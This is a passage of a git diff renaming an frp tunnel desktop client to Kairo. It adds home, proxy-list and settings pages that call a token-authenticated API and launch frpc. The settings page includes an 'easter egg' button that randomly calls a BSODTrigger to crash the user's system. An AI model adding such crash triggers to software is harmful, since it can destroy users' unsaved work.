(Global.isDarkThemeEnabled) + { + this.Background = DarkBrush; + Theme.Apply(ThemeType.Dark); + } + else + { + this.Background = LightBrush; + Theme.Apply(ThemeType.Light); + } + //Theme.Apply(Global.isDarkThemeEnabled ? ThemeType.Dark : ThemeType.Light); + //this.Background = solidColorBrush; + } + } +} diff --git a/Kairo/Dashboard/Home.xaml b/Kairo/Dashboard/Home.xaml new file mode 100644 index 0000000..897293d --- /dev/null +++ b/Kairo/Dashboard/Home.xaml @@ -0,0 +1,78 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Kairo/Dashboard/Home.xaml.cs b/Kairo/Dashboard/Home.xaml.cs new file mode 100644 index 0000000..c42c018 --- /dev/null +++ b/Kairo/Dashboard/Home.xaml.cs @@ -0,0 +1,235 @@ +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Net.Http; +using System.Windows.Media; +using System.Windows.Media.Imaging; +using Wpf.Ui.Controls; +using Kairo.Utils; +using System.Windows.Threading; +using System.IO; +using Kairo.Extensions; +using System.Security.Cryptography; +using Markdig; +using HtmlAgilityPack; +using System.Linq; +using System.Windows; +using System.Threading.Tasks; + + +namespace Kairo.Dashboard +{ + /// + /// Interaction logic for ProxyList.xaml + /// + public partial class Home : UiPage + { + public static ImageBrush AvatarImage; + public Home() + { + InitializeCustomComponents(); + RefreshAvatar(); + Task.Run(() => { + + FetchAnnouncement(); + CheckIsSignedTodayOrNot(); + }); + } + + private async void CheckIsSignedTodayOrNot() + { + using (HttpClient hc = new()) + { + hc.DefaultRequestHeaders.Add("Authorization",$"Bearer {Global.Config.AccessToken}"); + var result = await hc.GetAsync($"{Global.API}/sign?user_id={Global.Config.ID}").Await().Content.ReadAsStringAsync(); + if (result == null) return; + var temp = JObject.Parse(result); + if (int.Parse(temp["status"].ToString()) == 200) + { + if ((bool)temp["data"]["status"]) + { + Dispatcher.BeginInvoke(() => + { + ToSign.Visibility = Visibility.Hidden; + SignStatus.Visibility = Visibility.Visible; + }); + } + } + else + { + Console.WriteLine(temp["status"].ToString() + temp["message"].ToString()); + } + + } + } + + private void InitializeCustomComponents() + { + InitializeComponent(); + DataContext = this; + title_username.Text += Global.Config.Username; + Resources["BorderColor"] = Global.isDarkThemeEnabled ? Colors.White : Colors.LightGray; + Traffic.Text += $"{(MainWindow.Traffic / 1024)}GB"; + BandWidth.Text += $"{MainWindow.Inbound * 8 / 1024}/{MainWindow.Outbound * 8 / 1024}Mbps"; + } + + private async void FetchAnnouncement() + { + try + { + using (HttpClient client = new()) + { + var result = await client.GetAsync($"{Global.API}/notice").Await().Content.ReadAsStringAsync(); + var result2 = JObject.Parse(result); + if (result2 != null && int.Parse(result2["status"].ToString()) == 200) { + var html = Markdown.ToHtml(result2["data"]["broadcast"].ToString()); + var htmlDoc = new HtmlDocument(); + if (Global.isDarkThemeEnabled) + { + htmlDoc.LoadHtml(html); + var cssContent = "* { color: white; } a { color: aqua} html {background: none !important;}"; + var styleNode = HtmlNode.CreateNode($""); + //var scriptNode = HtmlNode.CreateNode(""); + var newHeadNode = htmlDoc.CreateElement("head"); + newHeadNode.AppendChild(styleNode); + //newHeadNode.AppendChild(scriptNode); + htmlDoc.DocumentNode.PrependChild(newHeadNode); + InitializeWebView(htmlDoc.DocumentNode.OuterHtml); + } + else + { + InitializeWebView(html); + } + + + } + + } + } + catch (Exception _) { + } + } + private async void InitializeWebView(string a) + { + //if (!Directory.Exists(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "WebView2"))) Directory.CreateDirectory(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "WebView2")); + //await WebViewInstaller.CheckAndInstallAsync(false, false, Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "WebView2")); + Dispatcher.BeginInvoke(async () => + { + await webView.EnsureCoreWebView2Async(); + webView.CoreWebView2.NavigateToString(a); + }); + + } + private async void RefreshAvatar() + { + try + { + using (var client = new HttpClient()) + { + var Avatar = await client.GetAsync(MainWindow.Avatar).Await().Content.ReadAsStreamAsync(); + var path = System.IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Avatar.png"); + var ApplyAvatar = () => + { + BitmapImage bitmap = new BitmapImage(); + + // 设置 BitmapImage 的 UriSource 属性为图片文件的路径 + bitmap.BeginInit(); + bitmap.UriSource = new Uri(path, UriKind.RelativeOrAbsolute); + bitmap.EndInit(); + AvatarImage = new ImageBrush(bitmap) + { + Stretch = Stretch.UniformToFill, + + }; + Dispatcher.Invoke(() => + { + this.Avatar.Background = AvatarImage; + }); + }; + + if (File.Exists(path)){ + MD5 md5 = MD5.Create(); + if (md5.ComputeHash(Avatar).SequenceEqual(md5.ComputeHash(File.ReadAllBytes("Avatar.png")))) + { + ApplyAvatar(); + return; + } + + File.Delete(path); + + } + using (FileStream fileStream = new(path, FileMode.Create)) + { + byte[] bytes = new byte[Avatar.Length]; + Avatar.Read(bytes, 0, bytes.Length); + // 设置当前流的位置为流的开始 + Avatar.Seek(0, SeekOrigin.Begin); + + // 把 byte[] 写入文件 + + BinaryWriter bw = new BinaryWriter(fileStream); + bw.Write(bytes); + bw.Close(); + fileStream.Close(); + } + ApplyAvatar(); + + } + + } + catch (Exception ex) + { + Logger.MsgBox("无法获取您的头像, 请稍后重试", "Kairo", 0, 48, 1); + } + } + + private void ToSign_Click(object sender, RoutedEventArgs e) + { + Task.Run(() => { + using (var hc = new HttpClient()) + { + hc.DefaultRequestHeaders.Add("Authorization", $"Bearer {Global.Config.AccessToken}"); + HttpResponseMessage responseMessage = hc.PostAsync($"{Global.API}/sign?user_id={Global.Config.ID}",null).Result; + + + var temp = JObject.Parse(responseMessage.Content.ReadAsStringAsync().Result); + if (!string.IsNullOrEmpty(temp.ToString()) && int.Parse(temp["status"].ToString()) == 200) { + int i = int.Parse(temp["data"]["get_traffic"].ToString()); + Logger.MsgBox($"签到成功\n您获得 {i}GB 流量", "Kairo", 0, 48, 1); + Dispatcher.BeginInvoke(() => + { + Traffic.Text = $"剩余流量: {(MainWindow.Traffic / 1024) + i}GB"; + }); + Dispatcher.BeginInvoke(() => + { + ToSign.Visibility = Visibility.Collapsed; + SignStatus.Visibility = Visibility.Visible; + }); + } + if(int.Parse(temp["status"].ToString()) == 403) + { + if (temp["message"].ToString() == "你今天已经签到过了") + { + + Logger.MsgBox("你今天已经签到过了", "Kairo", 0, 48, 1); + Dispatcher.BeginInvoke(() => + { + ToSign.Visibility = Visibility.Collapsed; + SignStatus.Visibility = Visibility.Visible; + }); + return; + } + Logger.MsgBox("无法连接到服务器, 请检查您的网络链接", "Kairo", 0, 48, 1); + return; + } + if (!responseMessage.IsSuccessStatusCode) + { + Logger.MsgBox("无法连接到服务器, 请检查您的网络链接", "Kairo", 0, 48, 1); + return; + } + } + }); + } + } +} + diff --git a/LoCyanFrpDesktop/Dashboard/ProxyList.xaml b/Kairo/Dashboard/ProxyList.xaml similarity index 75% rename from LoCyanFrpDesktop/Dashboard/ProxyList.xaml rename to Kairo/Dashboard/ProxyList.xaml index 9c07354..39dad52 100644 --- a/LoCyanFrpDesktop/Dashboard/ProxyList.xaml +++ b/Kairo/Dashboard/ProxyList.xaml @@ -1,10 +1,10 @@  @@ -37,7 +37,7 @@ - + @@ -48,7 +48,7 @@ - + @@ -60,9 +60,9 @@ > - - + + @@ -82,26 +82,10 @@ - - - - - - - - - - - - - - - - - - - + + + + diff --git a/LoCyanFrpDesktop/Dashboard/ProxyList.xaml.cs b/Kairo/Dashboard/ProxyList.xaml.cs similarity index 68% rename from LoCyanFrpDesktop/Dashboard/ProxyList.xaml.cs rename to Kairo/Dashboard/ProxyList.xaml.cs index 23730b5..9a0e650 100644 --- a/LoCyanFrpDesktop/Dashboard/ProxyList.xaml.cs +++ b/Kairo/Dashboard/ProxyList.xaml.cs @@ -10,52 +10,37 @@ using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; -using System.Windows.Data; -using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; -using System.Windows.Media.Imaging; -using System.Windows.Navigation; using Wpf.Ui.Controls; -using LoCyanFrpDesktop.Utils; -using LoCyanFrpDesktop.Dashboard; +using Kairo.Utils; using System.Windows.Threading; -using System.Text.RegularExpressions; -using System.IO; -using static LoCyanFrpDesktop.Utils.PNAP; -using System.Drawing.Printing; -using System.Xml.Linq; -using HandyControl.Tools.Extension; +using static Kairo.Utils.PNAP; using MenuItem = Wpf.Ui.Controls.MenuItem; -using Wpf.Ui.Appearance; -using System.Reflection; -using Wpf.Ui.Styles.Controls; -using ContextMenu2 = Wpf.Ui.Styles.Controls.ContextMenu; using ContextMenu = System.Windows.Controls.ContextMenu; -using System.DirectoryServices.ActiveDirectory; -using System.Printing; -using Microsoft.Exchange.WebServices.Data; using System.Windows.Media.Animation; -using System.Drawing; using System.Windows.Shapes; using Brushes = System.Windows.Media.Brushes; using Color = System.Windows.Media.Color; -using Brush = System.Windows.Media.Brush; +using Kairo.Utils.Components; +using Kairo.Extensions; +using Newtonsoft.Json.Serialization; +using Application = System.Windows.Application; +using HorizontalAlignment = System.Windows.HorizontalAlignment; +using MouseEventArgs = System.Windows.Input.MouseEventArgs; using System.Runtime.CompilerServices; -using LoCyanFrpDesktop.Extensions; -using Microsoft.Win32.SafeHandles; -namespace LoCyanFrpDesktop.Dashboard +namespace Kairo.Dashboard { /// /// Interaction logic for ProxyList.xaml /// public partial class ProxyList : UiPage { - public ObservableCollection Proxies { get; set; } + public static ObservableCollection Proxies = new ObservableCollection(); - public static List Proxieslist { get; set; } + public static List Proxieslist = new List(); //public PNAPListComp ListComponents = new PNAPListComp(); public static List PNAPList = new List(); @@ -67,75 +52,26 @@ public partial class ProxyList : UiPage public ProxyList() { InitializeComponent(); + Access.ProxyList = this; InitializeProxiesAsync(); //Wait For Rewrite. //InitializeAutoLaunch(); DataContext = this; - title_username.Text += Properties.Settings.Default.username; - Resources["BorderColor"] = MainWindow.DarkThemeEnabled ? Colors.White : Colors.LightGray; + Resources["BorderColor"] = Global.isDarkThemeEnabled ? Colors.White : Colors.LightGray; //BackgroundColor = Resources["ControlFillColorDefaultBrush"]; BackgroundMenu = new(); //Inbound.Text += MainWindow.Inbound; //OutBound.Text += MainWindow.Outbound; - Traffic.Text += (MainWindow.Traffic / 1024) + "GB"; - RefreshAvatar(); - } - private async void RefreshAvatar() - { - try - { - using (var client = new HttpClient()) { - client.BaseAddress = new Uri(MainWindow.Avatar); - var Avatar = await client.GetAsync(client.BaseAddress).Await().Content.ReadAsStreamAsync(); - var path = System.IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Avatar.png"); - - if (File.Exists(path)) - { - File.Delete(path); - } - - using(FileStream fileStream = new(path, FileMode.Create)) - { - byte[] bytes = new byte[Avatar.Length]; - Avatar.Read(bytes, 0, bytes.Length); - // 设置当前流的位置为流的开始 - Avatar.Seek(0, SeekOrigin.Begin); - - // 把 byte[] 写入文件 - - BinaryWriter bw = new BinaryWriter(fileStream); - bw.Write(bytes); - bw.Close(); - fileStream.Close(); - } - BitmapImage bitmap = new BitmapImage(); - - // 设置 BitmapImage 的 UriSource 属性为图片文件的路径 - bitmap.BeginInit(); - bitmap.UriSource = new Uri(path, UriKind.RelativeOrAbsolute); - bitmap.EndInit(); - var a = new ImageBrush(bitmap) - { - Stretch = Stretch.UniformToFill, - - }; - - Dispatcher.Invoke(() => - { - this.Avatar.Background = a; - }); - - - } - - } - catch (Exception ex) + if(Home.AvatarImage != null) { - Logger.MsgBox("无法获取您的头像, 请稍后重试", "LocyanFrp", 0, 48, 1); + Dispatcher.Invoke(() => + { + this.Avatar.Background = Home.AvatarImage; + }); } } - private async void InitializeProxiesAsync() + private static async void InitializeProxiesAsync() { await GetProxiesListAsync(); // 若返回 null,则表示无隧道或请求失败 @@ -153,30 +89,31 @@ await Dispatcher.InvokeAsync(() => } // 封装隧道获取,采用异步请求防止主线程卡死 - private async Task> GetProxiesListAsync() + private static async Task> GetProxiesListAsync() { - // 获取用户名和Token - string username = Properties.Settings.Default.username; - string token = Properties.Settings.Default.LoginToken; // 实例化序列 GetProxiesResponseObject responseObject; // 创建新的 HttpClient 实例 using (var client = new HttpClient()) { // 定义API链接 - string url = $"https://api.locyanfrp.cn/Proxies/GetProxiesList?username={username}&token={token}"; - + string url = $"{Global.API}/proxy/all?user_id={Global.Config.ID}"; + client.DefaultRequestHeaders.Add("Authorization", $"Bearer {Global.Config.AccessToken}"); // 防止API报错 try { // 等待请求 HttpResponseMessage response = await client.GetAsync(url); - // 确保请求完成 - response.EnsureSuccessStatusCode(); - // 结果转换为字符串 string jsonString = await response.Content.ReadAsStringAsync(); + // 确保请求完成 + var temp = JObject.Parse(jsonString); // 结果序列化 - responseObject = JsonConvert.DeserializeObject(jsonString); + responseObject = JsonConvert.DeserializeObject(temp["data"].ToString()); + responseObject.Status = int.Parse(temp["status"].ToString()); + + // 结果转换为字符串 + + } catch (Exception ex) { @@ -186,9 +123,13 @@ private async Task> GetProxiesListAsync() } } - if (responseObject.Status != 0) + if (responseObject.Status != 200) { - Logger.MsgBox("获取隧道失败,请重启软件重新登陆账号", "LocyanFrp", 0, 48, 1); + if(responseObject.Status == 404) + { + return null; + } + Logger.MsgBox("获取隧道失败,请重启软件重新登陆账号", "Kairo", 0, 48, 1); return null; } @@ -197,19 +138,9 @@ private async Task> GetProxiesListAsync() for (int i = 0; i < responseObject.Proxies.Count; i++) { Console.WriteLine(i); - Dispatcher.Invoke(() => + Application.Current.Dispatcher.Invoke(() => { - ListPanel.Children.Add(new ProxyCard(responseObject.Proxies[i], i)); - /*ListPanel.Children.Add(new Card() - { - //Background = new SolidColorBrush(Colors.White), - Padding = new Thickness(10), - Margin = new Thickness(0, 0, 10, 0), - HorizontalAlignment = HorizontalAlignment.Stretch, - VerticalAlignment = VerticalAlignment.Stretch, - MinHeight = 50, - MinWidth = 100 - });*/ + Access.ProxyList.ListPanel.Children.Add(new ProxyCard(responseObject.Proxies[i], i)); }); @@ -220,13 +151,32 @@ private async Task> GetProxiesListAsync() return proxies; } + private static async void RefreshProxyListAsync() + { + try{ + Proxieslist.Clear(); + PNAPList.Clear(); + } + catch + { + } + Application.Current.Dispatcher.BeginInvoke(() => { + Access.ProxyList.ListPanel.Children.Clear(); + }); + InitializeProxiesAsync(); + } private static int ProxyStarter(string SelectedProxy,int SelectedIndex) { string proxy_name = SelectedProxy; int proxy_id = 0; + if (Global.Config.FrpcPath == null) + { + Logger.MsgBox("您尚未安装Frpc,请先安装或者手动指定", "Kairo", 0, 48, 1); + return 0; + } foreach (var item in Proxieslist) { if (item.ProxyName == proxy_name) @@ -238,16 +188,16 @@ private static int ProxyStarter(string SelectedProxy,int SelectedIndex) if (proxy_id == 0) { - Logger.MsgBox("无法将隧道名解析为隧道ID,请检查自己的隧道配置", "LocyanFrp", 0, 48, 1); + Logger.MsgBox("无法将隧道名解析为隧道ID,请检查自己的隧道配置", "Kairo", 0, 48, 1); return 0; } - Access.DashBoard.Navigation.Navigate(1); + Access.DashBoard.Navigation.Navigate(2); // 运行frp try { if (PNAP.PNAPList.Any(prcs => prcs.ProcessName == proxy_id)) { - Logger.MsgBox("这个隧道已经启动了哦", "LocyanFrp", 0, 48, 1); + Logger.MsgBox("这个隧道已经启动了哦", "Kairo", 0, 48, 1); return 0; } @@ -255,9 +205,9 @@ private static int ProxyStarter(string SelectedProxy,int SelectedIndex) catch (Exception ex) { - return RunCmdCommand($" -u {Properties.Settings.Default.FrpToken} -p ", proxy_id, SelectedIndex); + return RunCmdCommand($" -u {Global.Config.FrpToken} -p ", proxy_id, SelectedIndex); } - return RunCmdCommand($" -u {Properties.Settings.Default.FrpToken} -p ",proxy_id, SelectedIndex); + return RunCmdCommand($" -u {Global.Config.FrpToken} -p ",proxy_id, SelectedIndex); } @@ -280,7 +230,7 @@ private static int RunCmdCommand(string command, int ProxyID, int SelectionIndex // 创建一个 ProcessStartInfo 对象 ProcessStartInfo psi = new ProcessStartInfo { - FileName = Properties.Settings.Default.FrpcPath, // 指定要运行的命令行程序 + FileName = Global.Config.FrpcPath, // 指定要运行的命令行程序 Arguments = command + ProxyID, // 使用 /k 参数保持 cmd 窗口打开,显示输出内容 Verb = "runas", RedirectStandardOutput = true, @@ -338,13 +288,9 @@ private static void _FrpcProcess_Exited(object? sender, EventArgs e, int index) { Cards[index].IndicatorLight.Stroke = Brushes.Gray; }); + PNAPList[PNAPList.FindIndex(a => a.ListIndex == index)].IsRunning = false; } - private void NonStaticExitedEventHandler(int index) { - Dispatcher.Invoke(() => - { - Cards[index].IndicatorLight.Stroke = Brushes.Gray; - }); - } + private static void SortOutputHandler(object sender, DataReceivedEventArgs e) { if (!string.IsNullOrEmpty(e.Data)) @@ -363,35 +309,6 @@ private void ListView_MouseDown(object sender, MouseEventArgs e) } - - - - /*private void InitializeAutoLaunch() -{ - string documentsPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); - string filePath = Path.Combine(documentsPath, "auto_launch.ini"); - - if (File.Exists(filePath)) - { - string url = File.ReadAllText(filePath); - - // 使用正则表达式提取token和id - Match match = Regex.Match(url, @"locyanfrp://([^/]+)/([^/]+)"); - - if (match.Success && match.Groups.Count == 3) - { - string token = match.Groups[1].Value; - string id = match.Groups[2].Value; - RunCmdCommand($" -u {token} -p {id}"); - File.Delete(filePath); - } - else - { - System.Windows.MessageBox.Show($"自动启动出错 \n url: {url} \n filepath: {filePath}", "警告"); - } - } - -}*/ private void ListCardClickHandler(object sender, MouseButtonEventArgs e) { @@ -413,6 +330,7 @@ public class ProxyCard : Border Stroke = new SolidColorBrush(Colors.Gray) }; + private ProxyMenu temp; public ProxyCard(Proxy ProxyInfo, int CardIndex) { IndexID = CardIndex; @@ -424,7 +342,7 @@ public ProxyCard(Proxy ProxyInfo, int CardIndex) //this.OverridesDefaultStyle = true; //this.Style = ProxyList.card.Style; //Theme.Apply(ThemeType.Light); - this.Background = new SolidColorBrush(MainWindow.DarkThemeEnabled ? Color.FromRgb(53, 53, 53) : Color.FromRgb(210, 210, 210)); + this.Background = new SolidColorBrush(Global.isDarkThemeEnabled ? Color.FromRgb(53,53,53) : Color.FromRgb(245, 245, 245)); //this.Background = new SolidColorBrush(!string.IsNullOrEmpty((string)ProxyList.BackgroundColor) ? (Color)ProxyList.BackgroundColor : Colors.Gray); //this.Background = new SolidColorBrush((Color)ProxyList.BackgroundColor); this.BorderThickness = new Thickness(2); @@ -465,12 +383,13 @@ public ProxyCard(Proxy ProxyInfo, int CardIndex) //dockPanel.Children.Add(); - ProxyMenu temp = new ProxyMenu(ProxyInfo.ProxyName, CardIndex,this); + temp = new ProxyMenu(ProxyInfo.ProxyName, CardIndex,this); temp.ID = ProxyInfo.Id; this.ContextMenu = temp; //dockPanel.Children.Add(temp); //this.AddChild(temp); - + + this.MouseLeftButtonDown += this.OnMouseLeftButtonDown; this.MouseRightButtonDown += this.OnMouseRightButtonDown; this.MouseEnter += this.OnMouseEnter; this.MouseLeave += this.OnMouseLeave; @@ -480,9 +399,17 @@ private void OnMouseRightButtonDown(object sender, MouseButtonEventArgs e) } - private void ProxyCard_MouseDoubleClick(object sender, MouseButtonEventArgs e) + private int ClickTimestamp = 0; + private void OnMouseLeftButtonDown(object sender, MouseButtonEventArgs e) { - //StartProxy_Click(sender, e); + Console.WriteLine(e.Timestamp); + if (e.Timestamp - ClickTimestamp < 500 && ClickTimestamp != 0) + { + + temp.StartProxy_Click(sender, e); + + } + ClickTimestamp = e.Timestamp; } private void OnMouseEnter(object sender, EventArgs e) { @@ -502,10 +429,10 @@ private void OnMouseLeave(object sender, EventArgs e) try { border.BorderBrush.BeginAnimation(SolidColorBrush.ColorProperty, colorAnimation); + } catch { } - } } public class ProxyMenu : ContextMenu @@ -527,10 +454,10 @@ public ProxyMenu(string proxyName,int IndexID, ProxyCard card) // 定义样式的模板 ControlTemplate template = new ControlTemplate(typeof(ContextMenu)); FrameworkElementFactory borderFactory = new FrameworkElementFactory(typeof(Border)); - borderFactory.SetValue(Border.BackgroundProperty, new SolidColorBrush(MainWindow.DarkThemeEnabled ? Color.FromRgb(53, 53, 53) : Color.FromRgb(210, 210, 210))); + borderFactory.SetValue(Border.BackgroundProperty, new SolidColorBrush(Global.isDarkThemeEnabled ? Color.FromRgb(53, 53, 53) : Color.FromRgb(240, 240, 240))); borderFactory.SetValue(Border.BorderThicknessProperty, new Thickness(1)); borderFactory.SetValue(Border.CornerRadiusProperty, new CornerRadius(5)); - this.Foreground = new SolidColorBrush(MainWindow.DarkThemeEnabled ? Colors.White : Colors.Black); + this.Foreground = new SolidColorBrush(Global.isDarkThemeEnabled ? Colors.White : Colors.Black); FrameworkElementFactory stackPanelFactory = new FrameworkElementFactory(typeof(StackPanel)); stackPanelFactory.SetValue(StackPanel.IsItemsHostProperty, true); @@ -541,22 +468,6 @@ public ProxyMenu(string proxyName,int IndexID, ProxyCard card) // 应用样式 this.Style = roundedContextMenuStyle; - //this.Style = ProxyList.DefaultStyleKeyProperty; - //this.OverridesDefaultStyle = true; - /* - - - - - - - - - - - */ - //this.Background = new SolidColorBrush(Color.FromRgb(45,45,45)); - MenuItem Refresh = new MenuItem() { Header = "刷新", @@ -593,20 +504,20 @@ public ProxyMenu(string proxyName,int IndexID, ProxyCard card) this.Items.Add(StopProxy); this.BorderBrush = Brushes.Transparent; this.BorderThickness = new Thickness(1); - Refresh.IsEnabled = false; - CreateNewProxy.IsEnabled = false; - DeleteProxy.IsEnabled = false; ProxyName = proxyName; //contextMenu.Margin = new Thickness(5); //this.CornerRadius = new CornerRadius(5); } - private void StartProxy_Click(object sender, RoutedEventArgs e) + public void StartProxy_Click(object sender, RoutedEventArgs e) { - + if (string.IsNullOrEmpty(Global.Config.FrpcPath)) + { + Logger.MsgBox("您尚未安装FRPC!", "Kairo", 0, 48, 1); + return; + } try { - int Index = PNAPList.FindIndex(Process => Process.ListIndex == (IndexID != -1 ? IndexID : throw new Exception())); if (!(bool)PNAPList[Index].IsRunning) { @@ -618,7 +529,7 @@ private void StartProxy_Click(object sender, RoutedEventArgs e) } else { - Logger.MsgBox("这个隧道已经启动了哦", "LocyanFrp", 0, 48, 1); + Logger.MsgBox("这个隧道已经启动了哦", "Kairo", 0, 48, 1); } } catch (Exception ex) @@ -630,16 +541,14 @@ private void StartProxy_Click(object sender, RoutedEventArgs e) } } - - } - private void Refresh_Click(object sender, RoutedEventArgs e) + private static void Refresh_Click(object sender, RoutedEventArgs e) { - throw new NotImplementedException(); + RefreshProxyListAsync(); } - private void StopProxy_Click(Object sender, RoutedEventArgs e) + private void StopProxy_Click(object sender, RoutedEventArgs e) { //我在写什么,我不知道我在写些什么w @@ -649,7 +558,7 @@ private void StopProxy_Click(Object sender, RoutedEventArgs e) if (!(bool)PNAPList[Index].IsRunning) { - Logger.MsgBox("这个隧道并没有启动哦", "LocyanFrp", 0, 48, 1); + Logger.MsgBox("这个隧道并没有启动哦", "Kairo", 0, 48, 1); } else { @@ -660,7 +569,7 @@ private void StopProxy_Click(Object sender, RoutedEventArgs e) { CrashInterception.ShowException(ex); } - Logger.MsgBox("这个隧道成功关闭了哦", "LocyanFrp", 0, 48, 1); + Logger.MsgBox("这个隧道成功关闭了哦", "Kairo", 0, 48, 1); PNAPList[Index].IsRunning = false; Card.IndicatorLight.Stroke = Brushes.Gray; @@ -668,62 +577,60 @@ private void StopProxy_Click(Object sender, RoutedEventArgs e) }catch( Exception ex) { CrashInterception.ShowException(ex); - Logger.MsgBox("这个隧道并没有启动哦", "LocyanFrp", 0, 48, 1); + Logger.MsgBox("这个隧道并没有启动哦", "Kairo", 0, 48, 1); } } - private void DeleteProxy_Click(object sender, RoutedEventArgs e) + private async void DeleteProxy_Click(object sender, RoutedEventArgs e) { - throw new NotImplementedException(); + using (HttpClient httpClient = new HttpClient()) { + + httpClient.DefaultRequestHeaders.Add("Authorization", $"Bearer {Global.Config.AccessToken}"); + var b = httpClient.DeleteAsync($"{Global.API}/proxy?user_id={Global.Config.ID}&proxy_id={this.ID}").Await(); + var a = b.Content.ReadAsStringAsync().Await(); + + if (a == null ) + { + Logger.MsgBox("请检查您的网络连接", "Kairo", 0, 48, 1); + return; + } + if (!b.IsSuccessStatusCode) + { + Logger.MsgBox($"{JObject.Parse(a)["status"].ToString()} {JObject.Parse(a)["message"].ToString()}", "Kairo", 0, 48, 1); + return; + } + Refresh_Click(sender, e); + } } + private void CreateNewProxy_Click(object sender, RoutedEventArgs e) { - throw new NotImplementedException(); + Process.Start(new ProcessStartInfo("https://dashboard.locyanfrp.cn/proxies/add") + { + UseShellExecute = true + }); } } + + private void Refresh_Click(object sender, RoutedEventArgs e) + { + RefreshProxyListAsync(); + } + private void CreateNewProxy_Click(object sender,RoutedEventArgs e) + { + Process.Start(new ProcessStartInfo("https://dashboard.locyanfrp.cn/proxies/add") + { + UseShellExecute = true + }); + } } public class GetProxiesResponseObject { public int Status { get; set; } - public string Message { get; set; } - public int Count { get; set; } + [JsonProperty("list")] public List Proxies { get; set; } } - public class Proxy - { - public int Id { get; set; } - - [JsonProperty("proxy_name")] - public string ProxyName { get; set; } - - [JsonProperty("proxy_type")] - public string ProxyType { get; set; } - - [JsonProperty("local_ip")] - public string LocalIp { get; set; } - - [JsonProperty("local_port")] - public int LocalPort { get; set; } - - [JsonProperty("remote_port")] - public string RemotePort { get; set; } - - [JsonProperty("use_compression")] - public int UseCompression { get; set; } - - [JsonProperty("use_encryption")] - public int UseEncryption { get; set; } - [JsonProperty("domain")] - public string Domain { get; set; } - public int Node { get; set; } - - [JsonProperty("icp")] - public object Icp { get; set; } // icp 字段可能为 null,使用 object 类型表示 - } - - - } diff --git a/LoCyanFrpDesktop/Dashboard/Settings.xaml b/Kairo/Dashboard/Settings.xaml similarity index 52% rename from LoCyanFrpDesktop/Dashboard/Settings.xaml rename to Kairo/Dashboard/Settings.xaml index f09a213..1d59964 100644 --- a/LoCyanFrpDesktop/Dashboard/Settings.xaml +++ b/Kairo/Dashboard/Settings.xaml @@ -1,10 +1,10 @@  @@ -30,7 +30,7 @@ - + @@ -48,7 +48,36 @@ Content="选择文件" Icon="OpenFolder24"/> - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Kairo/Dashboard/Settings.xaml.cs b/Kairo/Dashboard/Settings.xaml.cs new file mode 100644 index 0000000..a40cb0f --- /dev/null +++ b/Kairo/Dashboard/Settings.xaml.cs @@ -0,0 +1,187 @@ +using Kairo.Utils; +using Microsoft.Win32; +using System; +using System.IO; +using System.Reflection; +using System.Windows; +using Wpf.Ui.Controls; + +namespace Kairo.Dashboard +{ + /// + /// Interaction logic for Settings.xaml + /// + public partial class Settings : UiPage + { + private int i = 0; + public Settings() + { + InitializeCustomComponent(); + Access.Settings = this; + + } + private void InitializeCustomComponent() + { + InitializeComponent(); + InitializeToggleSwitch(); + _Version.Text = $"版本: Ver {Global.Version}-{Global.Branch}{((Global.Branch == "Alpha" || Global.Branch == "Beta") ? "." : "")}{Global.Revision}"; + _BuildInfo.Text = Global.BuildInfo.ToString(); + _Developer.Text = $"开发者: {Global.Developer}"; + _Copyright.Text = Global.Copyright; + FrpcPath.Text = Global.Config.FrpcPath; + + } + private void InitializeToggleSwitch() + { + + switch (Global.Config.AppliedTheme) + { + case 0: + FollowSystemThemeSetting.IsChecked = true; + UseDarkTheme.IsEnabled = false; + break; + case 1: + FollowSystemThemeSetting.IsChecked = false; + UseDarkTheme.IsEnabled = true; + UseDarkTheme.IsChecked = true; + break; + case 2: + FollowSystemThemeSetting.IsChecked = false; + UseDarkTheme.IsEnabled = true; + UseDarkTheme.IsChecked = false; + break; + default: + Global.Config.AppliedTheme = 0; + i++; + InitializeToggleSwitch(); + break; + } + if (i != 0) { + throw new IndexOutOfRangeException("Error Config File, Please Check."); + } + + } + public void Select_Click(object sender, RoutedEventArgs e) + { + OpenFileDialog dialog = new() + { + InitialDirectory = AppDomain.CurrentDomain.BaseDirectory, + Filter = "支持的文件(frpc.exe)|frpc.exe" + }; + if (dialog.ShowDialog() ?? false) + { + FrpcPath.Text = dialog.FileName; + Global.Config.FrpcPath = FrpcPath.Text; + + } + } + + private void SignOut_Click(object sender, RoutedEventArgs e) + { + if (!Logger.MsgBox("您确定要退出登录吗?", "退出登录", 1, 47, 1)) + { + return; + } + Access.DashBoard.Close(); + + Global.Config.FrpToken = null; + Global.Config.RefreshToken = null; + Global.Config.AccessToken = null; + Global.Password = null; + new ConfigManager(FileMode.Create); + MainWindow.islogin = false; + Access.MainWindow.Width = double.NaN; + Access.MainWindow.VisibilityChange(false); + Access.MainWindow.Show(); + } + + private void CopyToken_Click(object sender, RoutedEventArgs e) + { + Clipboard.SetText(Global.Config.FrpToken); + Logger.MsgBox("Kairo\n已经复制啦~", "Kairo", 0, 48, 1); + } + + private void EasterEgg_Click(object sender, RoutedEventArgs e) + { + if(Random.Shared.Next(0,2) == 0) + { + CrashInterception.ShowException(new Exception("不是说让你不要点吗")); + + } + else + { + BSODTrigger.Trigger(); + } + } + + private void FollowSystemThemeSetting_Click(object sender, RoutedEventArgs e) + { + if ((bool)FollowSystemThemeSetting.IsChecked) + { + Global.Config.AppliedTheme = 0; + MainWindow.IsDarkThemeEnabled(); + UseDarkTheme.IsChecked = false; + UseDarkTheme.IsEnabled = false; + } + else + { + UseDarkTheme.IsEnabled = true; + if (Global.isDarkThemeEnabled) + { + Global.Config.AppliedTheme = 1; + UseDarkTheme.IsChecked = true; + } + else + { + UseDarkTheme.IsChecked = false; + Global.Config.AppliedTheme = 2; + } + } + Access.DashBoard.ChangeColor(); + } + + private void UseDarkTheme_Click(object sender, RoutedEventArgs e) + 